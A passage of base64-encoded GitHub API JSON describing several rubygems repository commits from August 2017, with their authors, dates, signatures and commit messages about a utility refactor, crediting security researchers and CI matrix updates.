kNWIyNzc5ZGVkODk2MDdlNmUxYzhlMWEwNTBhYTA3M2NkZTFlN2ZjIn1dfSx7InNoYSI6ImQ1YjI3NzlkZWQ4OTYwN2U2ZTFjOGUxYTA1MGFhMDczY2RlMWU3ZmMiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI5VDEzOjQwOjExWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjlUMTY6MzA6MzdaIn0sIm1lc3NhZ2UiOiJJbXBsZW1lbnQgVXRpbC50cmF2ZXJzZV9wYXJlbnRzIGluIHRlcm1zIG9mIGJsb2NrIGNoZGlyIiwidHJlZSI6eyJzaGEiOiJmZDVlODQ5Zjc1YWVlODU4MzAxOTRkOTFiM2RmOWY1YzgzMmFiNDA5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZmQ1ZTg0OWY3NWFlZTg1ODMwMTk0ZDkxYjNkZjlmNWM4MzJhYjQwOSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2Q1YjI3NzlkZWQ4OTYwN2U2ZTFjOGUxYTA1MGFhMDczY2RlMWU3ZmMiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpwWmF0QUFvSkVBRVpXN01WM2FoV1hpNFFBSWJCUDhBZFljOTUxemROQU52WDlIVnJcbkFlM2R2MUtHQzg2dXQrTHBqOXFVWlVsYmlqMmRNZGpOMVRkZCtGMTRiNVRuNUlVNml1emRnWklqWlAxMDN5cWxcbkVmSnRTKzlqN3gzaGo0NUl4OUNEbDJhR3FUS1BxZzl1MXQ2VmNLeXNKaFlyUWlkUTVXaHdLaU43K2VEaDJ6aUlcbkk4VENJcmNWS09OMTBEMU5JckloZFFlVFIrQ1BNVXFJSHNmQmVFVXpDeXFDUTlkSFBuZVlDNjBoYkFWcGtqNmhcbllwQ09wdW45VlY5MmNTcnQzaXlCWlM1MmVwWjJvNjJqNi9XUXRtNjZ2SHJUQjRXL2NvQTBYUVRjUDV0ZzZqZmlcbmpuTjVwanBiakp5WkFud040QXBGUHhKNjRHZmtQcTJTSExob3EwM29iY0JNVGtZVnlhUDdVb2xlc2N0aTJPRXFcbjZVemZzQ3ZCZ1BFM1JxSDVCTURnL0FPeGxKMzdRSzJ1ajFoMlZIZDRJMlRQZWNhSkI3N2VRNTl4WU5wK0JzQ2NcblpKbUg4eldHQ1UzcnRoNGxCSFRqbXQvcXkrNGIvWTJ3UEkzV1VaUkJ5UXRIRlA5RDFRQUFZY0NRTDlseE93a3dcbjFsam1EWUtQY0NBZ0dOUnRBcmdyM05jeldybHhSYzZGaHRjaUdQckxsRmpqNWh0RzlnZWJCQ3ZUeUg0d3I1YkdcbmNnVDNsYVhjaUJ6ZUl5cG5KckRLMHc5SEtoVURGQTB4UEZPR3BrdVpIZ0FOL1hnYjF0SHI5NkZ3dTFuczNJQm9cbmc1ck14NXF4aGZvUU1vNFR2ZVViY0lSR0l4U2tOV1Z5aEsyWms0SWVxb3JaN25URXFNQTlneEQ2dnhacmdzeU1cbm9UcXNWOGs4aXl2NjZHZVUxYThkXG49R3A2d1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZmQ1ZTg0OWY3NWFlZTg1ODMwMTk0ZDkxYjNkZjlmNWM4MzJhYjQwOVxucGFyZW50IDQ5MjFhZjgxMTY3ZDRjYTAzZDI0NjBmMmQxMzExYWY2NTE4ZGRhNmRcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwNDAxNDAxMSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTA0MDI0MjM3IC0wNTAwXG5cbkltcGxlbWVudCBVdGlsLnRyYXZlcnNlX3BhcmVudHMgaW4gdGVybXMgb2YgYmxvY2sgY2hkaXJcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Q1YjI3NzlkZWQ4OTYwN2U2ZTFjOGUxYTA1MGFhMDczY2RlMWU3ZmMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZDViMjc3OWRlZDg5NjA3ZTZlMWM4ZTFhMDUwYWEwNzNjZGUxZTdmYyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kNWIyNzc5ZGVkODk2MDdlNmUxYzhlMWEwNTBhYTA3M2NkZTFlN2ZjL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI0OTIxYWY4MTE2N2Q0Y2EwM2QyNDYwZjJkMTMxMWFmNjUxOGRkYTZkIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzQ5MjFhZjgxMTY3ZDRjYTAzZDI0NjBmMmQxMzExYWY2NTE4ZGRhNmQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNDkyMWFmODExNjdkNGNhMDNkMjQ2MGYyZDEzMTFhZjY1MThkZGE2ZCJ9XX0seyJzaGEiOiI0OTIxYWY4MTE2N2Q0Y2EwM2QyNDYwZjJkMTMxMWFmNjUxOGRkYTZkIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yOFQyMToxODowM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJHaXRIdWIiLCJlbWFpbCI6Im5vcmVwbHlAZ2l0aHViLmNvbSIsImRhdGUiOiIyMDE3LTA4LTI4VDIxOjE4OjAzWiJ9LCJtZXNzYWdlIjoiTWVyZ2UgcHVsbCByZXF1ZXN0ICMxOTk1IGZyb20gcnVieWdlbXMvaW5kaXJlY3Qvc2VjdXJpdHktY3JlZGl0c1xuXG5jcmVkaXQgcmVzZWFyY2hlcnMgaW4gc2VjdXJpdHkgZml4ZXMiLCJ0cmVlIjp7InNoYSI6IjUzYWI5YzJhNmE5ZGYxMTU4YjNhNmNmNzcyMjk0NTE2NDZhOTM5ZDIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy81M2FiOWMyYTZhOWRmMTE1OGIzYTZjZjc3MjI5NDUxNjQ2YTkzOWQyIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNDkyMWFmODExNjdkNGNhMDNkMjQ2MGYyZDEzMTFhZjY1MThkZGE2ZCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy80OTIxYWY4MTE2N2Q0Y2EwM2QyNDYwZjJkMTMxMWFmNjUxOGRkYTZkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzQ5MjFhZjgxMTY3ZDRjYTAzZDI0NjBmMmQxMzExYWY2NTE4ZGRhNmQiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNDkyMWFmODExNjdkNGNhMDNkMjQ2MGYyZDEzMTFhZjY1MThkZGE2ZC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJ3ZWItZmxvdyIsImlkIjoxOTg2NDQ0NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk4NjQ0NDc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vd2ViLWZsb3ciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI5MTAzYjgxYzYwNTNkYWVhZmMyYzc0ZTY1NGRhZmZhZmE3OTZiOGYxIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzkxMDNiODFjNjA1M2RhZWFmYzJjNzRlNjU0ZGFmZmFmYTc5NmI4ZjEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOTEwM2I4MWM2MDUzZGFlYWZjMmM3NGU2NTRkYWZmYWZhNzk2YjhmMSJ9LHsic2hhIjoiMmM3MDY4MjBmOTgwMWZhMGQ5ZWI4Y2I5MDAwZTNhZjllMmNmZjYwYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yYzcwNjgyMGY5ODAxZmEwZDllYjhjYjkwMDBlM2FmOWUyY2ZmNjBjIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzJjNzA2ODIwZjk4MDFmYTBkOWViOGNiOTAwMGUzYWY5ZTJjZmY2MGMifV19LHsic2hhIjoiMmM3MDY4MjBmOTgwMWZhMGQ5ZWI4Y2I5MDAwZTNhZjllMmNmZjYwYyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkFuZHJlIEFya28iLCJlbWFpbCI6ImFuZHJlQGFya28ubmV0IiwiZGF0ZSI6IjIwMTctMDgtMjhUMjA6MzA6MzlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiQW5kcmUgQXJrbyIsImVtYWlsIjoiYW5kcmVAYXJrby5uZXQiLCJkYXRlIjoiMjAxNy0wOC0yOFQyMDozMDozOVoifSwibWVzc2FnZSI6ImNyZWRpdCByZXNlYXJjaGVycyBpbiBzZWN1cml0eSBmaXhlcyIsInRyZWUiOnsic2hhIjoiNTNhYjljMmE2YTlkZjExNThiM2E2Y2Y3NzIyOTQ1MTY0NmE5MzlkMiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzUzYWI5YzJhNmE5ZGYxMTU4YjNhNmNmNzcyMjk0NTE2NDZhOTM5ZDIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8yYzcwNjgyMGY5ODAxZmEwZDllYjhjYjkwMDBlM2FmOWUyY2ZmNjBjIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzJjNzA2ODIwZjk4MDFmYTBkOWViOGNiOTAwMGUzYWY5ZTJjZmY2MGMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMmM3MDY4MjBmOTgwMWZhMGQ5ZWI4Y2I5MDAwZTNhZjllMmNmZjYwYyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yYzcwNjgyMGY5ODAxZmEwZDllYjhjYjkwMDBlM2FmOWUyY2ZmNjBjL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiOTEwM2I4MWM2MDUzZGFlYWZjMmM3NGU2NTRkYWZmYWZhNzk2YjhmMSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85MTAzYjgxYzYwNTNkYWVhZmMyYzc0ZTY1NGRhZmZhZmE3OTZiOGYxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzkxMDNiODFjNjA1M2RhZWFmYzJjNzRlNjU0ZGFmZmFmYTc5NmI4ZjEifV19LHsic2hhIjoiOTEwM2I4MWM2MDUzZGFlYWZjMmM3NGU2NTRkYWZmYWZhNzk2YjhmMSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0yOFQxNDoyOTo0N1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMjhUMTQ6Mjk6NDdaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMxOTk0IC0gTVNQLUdyZWc6YXBwdmV5b3IsIHI9c2VnaWRkaW5zXG5cbkFwcHZleW9yIGFkZCAyLjMsIDIuNCAmIHRydW5rXG5cbiMjIERlc2NyaXB0aW9uOlxuXG4xLiBBZGRzIFJ1YnkgMjMteDY0ICgyLjMuMyksIDI0LXg2NCAoMi40LjEpLCBhbmQgdHJ1bmsgeDY0IHRvIEFwcHZleW9yIG1hdHJpeC5cbjIuIEFkZHMgR0lUIGVudiB2YXJpYWJsZSB0byBhYm92ZSB0aHJlZSB2ZXJzaW9ucy5cblxuU2luZ2xlIGZhaWx1cmUgaW4gMi40ICYgdHJ1bmsgd2lsbCBwYXNzIGlmIFtQUiAxOTkzXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xOTkzKSBpcyBhY2NlcHRlZC4gIE5vdGUgdGhlIGRyb3AgaW4gc2tpcHMgaW4gdGhlIGxhc3QgdGhyZWUgam9icywgd2hpY2ggaXMgZHVlIHRvIGFkZGluZyBHSVQuXG5cbiMjIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwidHJlZSI6eyJ